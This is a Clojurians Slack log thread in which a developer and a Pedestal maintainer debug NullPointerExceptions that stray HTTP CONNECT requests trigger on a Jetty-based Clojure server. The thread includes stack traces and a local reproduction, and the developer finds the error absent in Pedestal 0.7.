Clojurians Log v2

Caused by: java.lang.NullPointerException: Cannot invoke "String.substring(int)" because the return value of "javax.servlet.http.HttpServletRequest.getRequestURI()" is null
        at io.pedestal.http.request.servlet_support$servlet_path_info.invokeStatic(servlet_support.clj:27)
        at io.pedestal.http.request.servlet_support$servlet_path_info.invoke(servlet_support.clj:26)
        at io.pedestal.http.request.servlet_support$eval22813$fn__22828.invoke(servlet_support.clj:47)
        at io.pedestal.http.request$eval20388$fn__20389$G__20365__20394.invoke(request.clj:21)
        at io.pedestal.http.request$base_request_map.invokeStatic(request.clj:86)
        at io.pedestal.http.request$base_request_map.invoke(request.clj:76)
        at io.pedestal.http.request.map$servlet_request_map.invokeStatic(map.clj:32)
        at io.pedestal.http.request.map$servlet_request_map.invoke(map.clj:31)
        at io.pedestal.http.impl.servlet_interceptor$enter_stylobate.invokeStatic(servlet_interceptor.clj:198)
        at io.pedestal.http.impl.servlet_interceptor$enter_stylobate.invoke(servlet_interceptor.clj:195)
        at io.pedestal.interceptor.chain$try_f.invokeStatic(chain.clj:54)
        ... 41 common frames omitted
2024-05-23 04:27:24,519 [qtp1453306659-25] ERROR i.p.http.impl.servlet-interceptor - {:msg "Servlet code threw an exception", :throwable #error {
 :cause "Cannot invoke \"String.substring(int)\" because the return value of \"javax.servlet.http.HttpServletRequest.getRequestURI()\" is null"
 :via
 [{:type clojure.lang.ExceptionInfo
   :message "java.lang.NullPointerException in Interceptor :io.pedestal.http.impl.servlet-interceptor/stylobate - Cannot invoke \"String.substring(int)\" because the return value of \"javax.servlet.http.HttpServletRequest.getRequestURI()\" is null"
   :data {:execution-id 95, :stage :enter, :interceptor :io.pedestal.http.impl.servlet-interceptor/stylobate, :exception-type :java.lang.NullPointerException, :exception #error {
 :cause "Cannot invoke \"String.substring(int)\" because the return value of \"javax.servlet.http.HttpServletRequest.getRequestURI()\" is null"
 :via
 [{:type java.lang.NullPointerException
   :message "Cannot invoke \"String.substring(int)\" because the return value of \"javax.servlet.http.HttpServletRequest.getRequestURI()\" is null"
   :at [io.pedestal.http.request.servlet_support$servlet_path_info invokeStatic "servlet_support.clj" 27]}]
 :trace
 [[io.pedestal.http.request.servlet_support$servlet_path_info invokeStatic "servlet_support.clj" 27]
  [io.pedestal.http.request.servlet_support$servlet_path_info invoke "servlet_support.clj" 26]
  [io.pedestal.http.request.servlet_support$eval22813$fn__22828 invoke "servlet_support.clj" 47]
  [io.pedestal.http.request$eval20388$fn__20389$G__20365__20394 invoke "request.clj" 21]
  [io.pedestal.http.request$base_request_map invokeStatic "request.clj" 86]
  [io.pedestal.http.request$base_request_map invoke "request.clj" 76]

Hi. I've reproduced the issue. The CONNECT entry in the exception thrown was the clue. I can reproduce locally by simply running my server - it runs on port 8080, and then I set that address as a http proxy:

http --proxy https: 

One then ends up with this logged:

2024-05-24 16:09:16,575 [main] INFO  org.eclipse.jetty.server.Server - Started @6096ms
2024-05-24 16:09:19,241 [qtp281619353-37] ERROR i.p.http.impl.servlet-interceptor - {:msg "error-stylobate triggered", :context {:io.pedestal.interceptor.chain/stack (#Interceptor{:name :io.pedestal.http.impl.servlet-interceptor/terminator-injector}), :io.pedestal.interceptor.chain/terminators (#object[io.pedestal.http.impl.servlet_interceptor$terminator_inject$fn__23298 0x74bc7433 "io.pedestal.http.impl.servlet_interceptor$terminator_inject$fn__23298@74bc7433"]), :servlet-response #object[org.eclipse.jetty.server.Response 0x558d4fc4 "HTTP/1.1 200 \nDate: Fri, 24 May 2024 15:09:19 GMT\r\n\r\n"], :servlet #object[io.pedestal.http.servlet.FnServlet 0x175fc25e "io.pedestal.http.servlet.FnServlet@175fc25e"], :servlet-request #object[org.eclipse.jetty.server.Request 0x5ae6a8bd "Request(CONNECT )@5ae6a8bd"], :io.pedestal.interceptor.chain/execution-id 1, :servlet-config #object[org.eclipse.jetty.servlet.ServletHolder$Config 0x25ac7844 "org.eclipse.jetty.servlet.ServletHolder$Config@25ac7844"]}, :line 242}
clojure.lang.ExceptionInfo: java.lang.NullPointerException in Interceptor :io.pedestal.http.impl.servlet-interceptor/stylobate - Cannot invoke "String.substring(int)" because the return value of "javax.servlet.http.HttpServletRequest.getRequestURI()" is null
        at io.pedestal.interceptor.chain$throwable__GT_ex_info.invokeStatic(chain.clj:35)

So is it because you are directing HTTPs traffic to a HTTP endpoint?

Note the Request(CONNECT )@5ae6a8bd"in the exception - it would imply that if a user happens to run a server on a public cloud provider that reuses an IP address that someone has set as a proxy, (I know, a surprising set of eventualities), then pedestal throws an NPE.

No - I'm not running a proxy or redirecting anything - I'm simply running a REST API and was surprised to get these weird NPEs logged.

I suspect this public IP has been previously used as a proxy by someone else. Never seen this before on any of my deployed services!

https://www.perplexity.ai/search/under-what-conditions-DiwKK8ecS.eE0o.Me9EjAA

But it doesn't appear to be my fault.... as in, it has got nothing to do with my routes - all of which are only HTTP GET endpoints.

I’ll do some more research once I get to work.

Interesting! And pretty amazing results from perplexity!

I don’t trust AI for code generation, but I love it for doing this kind of research.

I like that Perplexity includes links to the sources of its results.

Nice to be able to send a link as well!

In summary, Perplexity is an excellent tool for researching technical documentation. 😜

(Perplexity always adds an “In summary” kind of paragraph at the end).

BTW thank you for your work on pedestal. I remember seeing your name years ago when I was looking at Apache Tapestry - although I'm afraid I never used it as I was on WebObjects back then.... and still have that in production!

Thanks, there’s still a lot of things in Tapestry I’m quite proud of (and other things that I put down to hubris). There’s a lot of parallels to things I built in Tapestry that are present in Clojure; Tapestry’s environmentals are essentially Clojure’s dynamic vars, for example. I wish I could take some of the techniques I learned during a stint on the Datomic team back in time to when I first designed Tapestry 5 however.

Have you been tempted to look at leveraging Clojure to build a more full-stack web application platform again? I'm using Fulcro and Pathom at the moment, which is good, and WO wasn't perfect at all, but there are a variety of trade-offs for both sets of solutions - which I guess is always going to be the case in the end... but still!

Update: I do not get the same exception while running 0.7.0-SNAPSHOT - I was previously running 0.6.4 - so this appears fixed already so apologies for any time wasted.

I don't think that's on my agenda. Been there, done that. I haven't looked at Biff (https://biffweb.com/) but it seems to have staked out that ground. My responsibilities at Nubank allow for work on server-side Pedestal, but not anything client-side.

About the bug: if you can't reproduce it in 0.7 that's great, and it looks rare enough that fixing in 0.6 isn't likely worth the effort. I'll keep it in mind if anyone else hits the same thing.

Also, it might be Jetty 9 vs. Jetty 11.

In which case, a fix in 0.6 would really be patching around the Jetty 9 behavior.

Yes! I think I was just unlucky with a cloud server IP address that someone is trying to use as a proxy... and the CONNECT op throwing an exception before my routes even got a look in.... I can confirm that with 0.7.0-beta-2 I'm getting no exceptions and the connect attempt logged:

2024-05-24 20:18:52,124 [qtp1069833820-37] TRACE com.eldrix.hermes.cmd.server - :request {:request-method :connect, :uri "/", :query-string nil, :remote-addr "127.0.0.1"}

That seems odd, but also odd that getRequestURI() returns null instead of an empty string. Do you know what the original request looked like?

If necessary we can fix this in 0.6 and 0.7 but I want more information before I get started.

Thanks @hlship - think your intuition is right - actually I need to do some more investigative work as I now suspect that request being logged was simply coincidental as I've seen the same exception appear without a request being logged. I was trying to reproduce the issue locally and couldn't.

Think the exception reports a CONNECT HTTP attempt, but I'm not logging that, as my server only supports a small number of GET operations, and as such, request isn't being logged conventionally.

Think the prior request logged is coincidence and in retrospect, it clearly is as it occured 22 minutes before the exception logged.